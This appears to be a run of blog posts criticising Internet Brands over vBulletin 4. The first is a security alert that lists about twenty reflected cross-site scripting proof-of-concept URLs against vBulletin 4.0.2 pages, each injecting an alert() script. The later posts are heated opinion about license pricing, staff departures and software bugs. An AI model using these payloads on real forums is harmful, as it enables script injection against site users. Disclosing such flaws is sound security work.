Author: Veritas

Security Alert: Multiple XSS Vulnerabilities in Internet Brands’s vBulletin 4 Forum and vBulletin 4 Suite

Veritas Leave a comment

Vendor: Internet Brands (NASDAQ: INET)
Product: vBulletin 4 Forum, vBulletin 4 Suite
Version: 4.0.2
Vector of Attack: Cross Site Scripting
Source: Inje3ct0r, vBulletin.com

Details:

# Exploit  :
http://127.0.0.1/upload/calendar.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/faq.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forum.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/usercp.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/subscription.php?
acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showgroups.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/sendmessage.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/search.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/register.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/profile.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/private.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/online.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/newthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/misc.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/memberlist.php?=>”‘><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/member.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/inlinemod.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/index.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forumdisplay.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
Additional vulnerabilities found by vBulletin Forum Members
http://127.0.0.1/upload/content.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/blog.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

We’re Back.. but vBulletin’s Not

Veritas 4 Comments

Chronos and I both decided after vBulletin 4 went gold, we’d disappear into the shadows to do what we do best: observe. What have we observed during our writing absence? Chaos. Confusion. Backlash. Bugs. Customer Disappointment. Frustration. Disappointment.

As an auditor, I’ve been often asked to audit programs and the scope that’s been undertaken. I’ve also sat back occasionally as part of my audit scope to do a complete quality assurance check on software that is intended to be released into production. I find bugs and send them off to QA, but it has been an indicator to me as how a project is being managed, as well as an indicator to determine its current project state. It’s shameful that vBulletin 4 was released in such a state. The application itself shows too many signs of software bugs and glitches floating around all over the place. In my opinion, I would never have approved the release of vBulletin 4.

As I sit back and tinker in a closed beta environment on my localhost server, I could not and would not approve vBulletin 4 being utilized on any of my client’s sites (or my own for that matter). There is simply far too much risk involved in utilizing that’s still quite buggy.

My frustrations with Internet Brands is ever growing. As an auditor, I would likely be writing reports like mad and ensuring senior management is held accountable. However, seeing as I’m not Internet Brands auditor, my own position is one of a customer. As a customer, I am livid, furious, and insanely upset that Internet Brands would sell me a software that is flawed far worse than Windows Vista. More to the point, I’m extremely frustrated that senior management, in particular Bob Brisco, and Joe Rosenblum, have not taken responsibility, nor attempt to signal to stakeholders that this fiasco is being addressed and rectified. Instead, they’ve done their marketing campaign and have decided to hide from the wrath of customers.

I quite understand that software bugs are a part of any development of any application. I also understand it never will be perfect, but I’ve often chimed in my reports to various software companies that bugs need to be managed and controlled properly. If they ever become a significant issue, they can and will hinder functionality. Furthermore, they will cause backlash and create trust issues that will resonate for years to come.

The point of doing bug fixing is to get rid of those bugs. It’s to ensure the software is 99.99% functional for the most common setups.

Looking at some of the bug reports inside the Project Tools, several bugs I’ve found were documented AFTER the release of vBulletin 4 Gold. Some of these bugs are clearly obvious and are simply shameful as a 14 year old would have caught them. It’s appalling.

My question to you Internet Brands: Who did the quality assurance and wrote the quality assurance plan? It is obvious that QA wasn’t performed properly. It’s clear we’re paying more for vBulletin for more bugs, and less functional software.

vBulletin 4 – Revolutionary or Disturbingly Flawed?

Veritas 7 Comments

Twas the day before Christmas
and all through the net
vBulletin admins banging their heads
Installation’s has started for vBulletin 4
In hopes that it will succeed, once and for all

Once installed, the admins sighed in relief
and begins to tinker, then much to his disbelief
not one, but hundreds of bugs did appear
and it’s wrecked their Christmas cheer.

Then with a fury he curses at once
he runs for support just to fix the matter
To his surprise he’s not alone
that this bug was found long, long ago.

The poem’s a bit overly dramatic, but it’s rather fitting based on the struggles Chronos and I have seen this week. It’s been four days since vBulletin 4 came out, and it appears it has been a miserable four days. Bugs galor, customers crying foul, requirements not met (which is the biggest concern as any excellent systems developer would know you must achieve a good percentage of them). And the there’s the occasional cheer, and celebration saying vBulletin 4 is rather golden.

vBulletin is a marvelous product. vBulletin 4, however, leaves a bitter taste in my mouth. There are far too many mis-use cases that were not accounted for, thus breaking the entire information system.

I will be the first to say that we as customers should have held Internet Brands accountable. Clearly Internet Brands dropped the ball, and now we’re dealing with an incomplete, half-baked, second rate, forum and CMS.

I’m going to pose the question to everyone out there: What do you think of vBulletin 4? The blunt, brutal hard truth. Is it worth the price, time, and energy in buying, installing, and/or upgrading to? What would you tell to future investors? Or what would you tell to future customers?

Comment away.

Internet Brand’s Investment Nightmare: vBulletin

Veritas 28 Comments
Internet Brands operates communities for anyone to speak. But more importantly, are they truly listening to their customers and what they are saying?
When dealing with any investment, there is risk. Does Internet Brands understand how much risk they've undertaken? Is Internet Brands those managing risks well?

I’ve often wondered why some the senior development team for vBulletin suddenly left without any advance warning. In one short month, Kier Darby, Mike Sullivan, and Scott Macvicar all left Internet Brands. In that one month, it represented a significant loss of talent, senior management, and senior development of vBulletin. These three represent the brains of vBulletin. They represent the integrity of vBulletin. They represent the key development and leadership of a industry icon. They understood customer’s requirements. They understood the customer. Last but not least, this trio understood vBulletin.

These questions have been racing in my mind. Why did they leave? What possible reasons could they have left? Was it because Internet Brands (Nasdaq: INET) acquired them? Was it because of management? Was it because they no longer liked working at Jelsoft and Internet Brands? Was it because they became merely a cog in this giant machine? Or maybe rather than job enlargement and enrichment, they experienced job reduction and dissatisfaction?

Finally, that silence has been broken. It appears what we’ve suspected all along happened. I hoped this wasn’t the case, however, my own nightmare, suspicions, and fears have been confirmed.

Internet Brands meddled where they should not have. They’ve roasted, and killed the goose that laid the golden eggs. It is the classic management case study in which employees leave because of management, not because of the company.

Read More

Ray Morgan Resigns!

Veritas 8 Comments

Breaking News! Ray Morgan resigns as vBulletin General Manager.

Sincere thanks to the vBulletin community!

Greetings all,

As some of you know, my wife and I own property in Central America and have worked for the last few years toward building a home there. We are now in a position where we can begin construction, and that will require a lot of time on site and a great deal of travel.

Since my role in vBulletin can’t reasonably be filled from 3,000 miles away, the time has come for me to transition various responsibilities to my teammates. I will be with Team vB through this Friday, December 11.

These changes will not directly affect vBulletin customers. The rest of the team remains intact, and the most important things are not changing:

Kevin Sours will continue to run vBulletin’s large Engineering group, with backup from Joe Rosenblum, Internet Brands’s CTO.

Don Kuramura will continue to be responsible for Product Management, strategy, and business development.

Steve Machol will continue managing the Support team, with backup from Jennifer Rundell, Internet Brands’s VP of Content.

The path to building 4.0 out the door has been incredibly exciting, and all the more so to have done it alongside such a smart and dedicated team. (Each of them has a standing invitation to visit Lake Arenal!)

vBulletin is in very capable hands. The imminent release of 4.0 is just the beginning of some very exciting things ahead. The Internet evolves quickly, so in addition to new things like the Content Publishing Suite, Team vB are working on even bigger expansions, like products and services for big-board customers, vB for mobile, and more.

Again, a heartfelt thank you to the vBulletin community for all of your support.

Onward!

Our thoughts to come later.

The Real Faces Behind Internet Brands

Veritas 6 Comments

Highway Robbery

I was tutoring this weekend and I helped an 11th grade high school student with US History.  He pointed out to me that history is useless, but I retorted that if we never learn from history, history has a tendency to repeat itself. That gave me reason to pause as I thought how that very logic applies to our scenario. Internet Brands did this once to us, what’s not to say they will do it again?

Let’s face the truth. I got my credit card bill last week, and it’s simply highway robbery. I cringed at the fact I had to pay just to do an upgrade. Sure $130.00 doesn’t seem much, but when you combine the fact that our license was suppose to be worth $160.00 (or $180.00 for others), we’re still paying more than $235.00 for a brand new license! What Internet Brands is making us pay is simply highway robbery. I don’t know how else to put it.

I don’t see ANY reason at all to justify existing license holders paying more. Essentially we’re being told to just pony up money for a brand new license. Forget what Internet Brands has told you; it’s merely a ploy, a cover. It’s purely marketing. Rip off all the marketing, and you’ll see is that we’re paying for a brand new license.

As existing Legacy vBulletin license holders, we’re treated as second rate citizens. We’re not important to them. Our wallets are more important to them. What’s not to say this is to happen again when vBulletin 5 arrives on the horizon?

We’re stuck holding a useless, absolutely pointless license vBulletin 3 license. After our license expires per-se, no more updates.  No more security patches. Once vBulletin 4 goes into full swing, vBulletin 3 citizens are treated as the scorn of the earth. Internet Brands manipulated us using fear tactics so that we’d buy licenses.

I really sympathize with those who bought vBulletin licenses really late in the game before vBulletin 4 was announced. Anyone who bought a license merely hours or days before vBulletin 4 got announced feel the real wrath. They bought a license only to have it invalidated and ripped from their hands minutes later.

Yet when they protest that they’ve been scammed, they’re told to upgrade to the latest vBulletin 4 License by paying even more? Any more protests, and you have threads closed. Has anyone checked out Pre-Sales recently? There are several threads in which customers point out that they don’t treat customers well.

Has anyone at Internet Brands done the math? We’re paying MORE for upgrading to a vBulletin 4 license than brand new vBulletin 4 license holders. Where’s the justice? Where’s the respect? More importantly, where’s the loyalty to your existing customer base that made vBulletin so successful? If they’re treating customers like this, as a shareholder, stakeholder or investors I’d wonder how Internet Brands may very well treat me in the future.

Let’s face it. vBulletin 3 license holders have been screwed over. If history has anything to say, it’s that it’s going to happen again.

A Note from Our Team

Veritas 3 Comments

We know that vBulletin 4 has been leaked. But as a courtesy to our team, please do not post such links or content packages here.

Chronos nor I care to entertain Patrick “Call Scott Macvicar Disgruntled” Stack, Ray “All Business” Morgan, Bob “Head in the Clouds” Brisco, Howard “PirateReports” Sprinks or any other representative of Internet Brands shoving anything, including Digital Millennium Copyright Act Notifications, or other propaganda in our inbox just because those links appeared.

Internet Brands, Lying Scumbags SAY WHAT!?!?!?!?!!! – !#@$%^&

Veritas 8 Comments

In every story, there are two sides. There was a lot of criticism with people feeling that Internet Brands was not given a fair chance to comment in The Register’s recent article on vBulletin. Today, Internet Brands made their comment with The Register in a new article released today, and after reading it, I will have to say Internet Brands has hit a new low. Oh a new low indeed.

Earlier in the week, former core Jelsoft developer Scott Macvicar wrote on his Twitter “So sad to see the company I helped build up screw customers over. Glad I bailed when I did, funemployment rocks”  in a comment to the flood of tweets to the very first Register article on vBulletin.

vBulletin was definitely Scott’s baby. We know Scott for 7-8 years now and vBulletin was his pride and joy. I can honestly say I’ve never known a person like Scott who loves what he did. Let’s not forget he has our admiration and respect for the exact same time period and has been with vBulletin since the beginning.

But this a new low and a new low indeed. Legal council for Internet Brands, Patrick Stack dismissed Scott’s comment earlier today in The Register’s new article, saying that it is “not too worrisome” and that it came from a “disgruntled former employee.”

EXCUSE ME!?!? What are you smoking Mr. Stack!? Have you no shame?  YOU DID NOT JUST CALL SCOTT MACVICAR A DISGRUNTLED EMPLOYEE.

In my eyes, Mr. Stack has lead Internet Brands onto a powder keg. It will backfire if Internet Brands is not careful. If there’s ever a reason to pick a bone with Internet Brands, this would be one reason.  It’s rude to call Scott disgruntled. It’s disrespectful. It’s uncalled for a number of reasons.

Internet Brands just took a swipe at one of the most respected trio of management, leaders, and developers in the industry. This same trio also have the respect of the competition, including Invision Power Board’s lead developer Matt Mecham.  Let’s also not forget Scott’s extensive resume too. Not only was he a vBulletin developer,  he’s the lead developer of the SQLite3 Extension and the ImageMagick PHP wrapper. Plus he’s a former mentor for Google Summer of Code program.

The man’s a legend in short, and Internet Brands has an audacity to take a swipe at this guy? Scott knows what he’s doing, and he’s done it extremely well for the last several years. I can’t say the same for you Internet Brands. Talk about calling the kettle black. Look in the mirror sometime Internet Brands, and it might surprise you that you’re describing everything about yourself. If anything, Scott’s not a disgruntled employee; but rather he’s a smart and brilliant employee and has a far more comprehensive understanding of a customer than you currently have.

I hope investors are listening to this side of the fence. Internet Brands just lost a ton of respect in my eyes. It was bad enough they weren’t listening to us, but to backstab one of their former employees in an attempt to save face with the public? Wow. That’s just low.

If there’s ever a reason to leave Internet Brands as an employee, we most certainly found that reason. It’s the classic management case study in which employees don’t divorce the company, but rather they divorce management. Many of us wondered why Scott, Mike, and Kier left vBulletin, and I think we have a slightly more clear picture today.

Scott, we salute you. Let’s hope they don’t take a swipe at Kier or Mike next.

Some parting words from Scott in response to Patrick’s outlandish comments:

Disgruntled? I wouldn’t say I’m a disgruntled employee, I left on reasonable terms with the company and was answering questions for them just a few weeks ago. The fact that they’re simply ignoring customers is just shocking and it’s what troubles me the most.


Extended Sale! With a Price Hike Too!!

Veritas 1 Comment

Well, Internet Brands announced an extended sale. They might as well call it a brand new sale given the fact that new vBulletin customers have to pay $160.00 instead of $130.00. I wonder who would notice.

Here’s my two cents. It’s my opinion they are  loosing customers and fast. To attract new ones or existing ones, they’re extending the sale. Let us not forget the bonus benefits of burying all the negative articles against them in the last few days. That’s most definitely an added bonus!

But like I said, who noticed the price went up?

During this extension period, the price of the Publishing Suite will be $160 for existing vBulletin customers with active licenses, a discount of more than 40 percent off of the regular price of the product. New customers can purchase the Suite for the discounted price of $235 during this period.
Source: Marketwire

So once again, being an original vBulletin customers only gets you screwed over more. Plus we’re now paying $160.00, the cost of the original vBulletin license. How poetic.

Paying the Brick Wall to think

Veritas 2 Comments
Meet the new face of Internet Brands. The level of intelligence and negotiating with them is similar to talking to a brick wall in my opinion. Unyielding and refusing to move or budge. Refusing to compromise or hammer out an agreement
Meet the new face of Internet Brands. The level of intelligence and attempts to negotiate with them is similar to talking to a brick wall in my opinion. Unyielding and refusing to move or budge. Refusing to compromise or hammer out an agreement. Image Courtesy of Wikipedia.

Just a small reminder for everyone today’s the deadline for the license. While all this Internet Brands flames keep burning, at least remind yourself that the upgrade deal still closes today.

But let me say for the record, we’re getting screwed. We are being forced to buy new licenses.

Where I stand, this is how I feel how Internet Brands speaks to me as a customer:

All those updates we were promised for blog. Well, they’re worthless We’ve changed our mind. No more updates, unless you buy a vBulletin 4 Suite License

Your owned licenses? We don’t care about security or updates. No more updates after our license download period expires. No more updates, unless at minimum you buy a vBulletin 4 Forum license. But we think the Suite license is better.

Project Tools? You bought it? Well, guess you’re screwed now. It’s being given away for free. So look at it this way, you’re getting added value for your license!

So for those of us who actually are worried about security are being forced to shell out $130.00. For all us older license holders, stop and think a moment. Think how much in reality we’re really spending. We’re spending far more than we should. If Internet Brands truly wanted us as customers, they’d port our vBulletin 4 licenses at minimum for free to vBulletin 4 licenses, plus give us one year for free. Not make us pay our way into license changes.

We paid our $160.00 owned license. We paid our $180.00 license. We want our promise of paying for updates. We want our access to vBulletin.org. Why are you making us pay 72% of our original license cost? Or 82%? Is it because you want more money Internet Brands?


Oh it’s a suite license? Well then, let me remind me you too that we’re paying at least $290.00. Some are even paying $310.00. That’s more than the $235.00 price tag listed on vBulletin.com.

You say it’s a Pre-Sale Price and that price will go away today?

HELLO!? Do you hear yourself talking? Even after the pre-sale, the price tag goes up to 285.00. Furthermore you’re making the former vBulletin license holders pay even MORE after the presale, to the tune of $250.00 more. TWO HUNDRED AND FIFTY DOLLARS MORE. So what happened to the $160.00 I paid? Or $180.00?

It’s discounted from $285.00 regular price tag?

I’m just sure customers loved knowing they saved $35.00 to convert their original license over and that they know their licenses are worth pennies.

Internet Brands only cares for you…when you have your wallet in hand.

So as I go off now to swipe my VISA card tonight to pay for the poor, stupid excuse of a license update tonight with Internet Brands, I’ll be doing it as one pissed off customer, for being forced to pay for something I shouldn’t, and at the same time, mourning, knowing that my beloved software, my beloved vBulletin, has been raped.

P.S. Don’t forget our support contract changes too! I was reminded the other day when visiting the vBulletin.com Forums. It goes away too. We have to pay a wonderful annual fee for ticket support. But support via the forums are free! That’s assuming if you’re able to access the forums because you’ve been banned.